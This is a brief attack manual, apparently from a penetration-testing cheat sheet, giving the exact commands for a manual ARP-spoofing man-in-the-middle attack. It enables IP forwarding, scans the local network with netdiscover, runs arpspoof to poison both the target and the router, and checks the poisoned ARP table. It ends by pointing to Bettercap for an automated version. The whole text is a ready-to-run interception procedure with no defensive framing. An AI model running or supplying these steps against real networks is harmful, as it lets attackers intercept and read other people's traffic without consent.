Man in the Middle (MITM) Manual
Attack that intercepts network traffic between a target and the router by manually configuring ARP spoofing and IP forwarding.
Setup
ip a
Description
Displays the attacker's network interface and IP address to determine the local network range.
echo 1 > /proc/sys/net/ipv4/ip_forward
Description
Enables IP forwarding so traffic passes through the attacker's machine.
Scanning
netdiscover -i eth0 -r [IP]/24 -c 10
Description
Scans the local network to discover active devices, including the router and target, along with their IP addresses.
Execution
arpspoof -i eth0 -t [target_IP] [router_IP]
Description
Tells the target that the attacker's machine is the router.
arpspoof -i eth0 -t [router_IP] [target_IP]
Description
Tells the router that the attacker's machine is the target.
Verification
arp -a
Description
Checks the ARP table to verify that the spoofing attack is working.
Automated Version Available
This same attack can also be performed faster and more efficiently using Bettercap's automated workflow.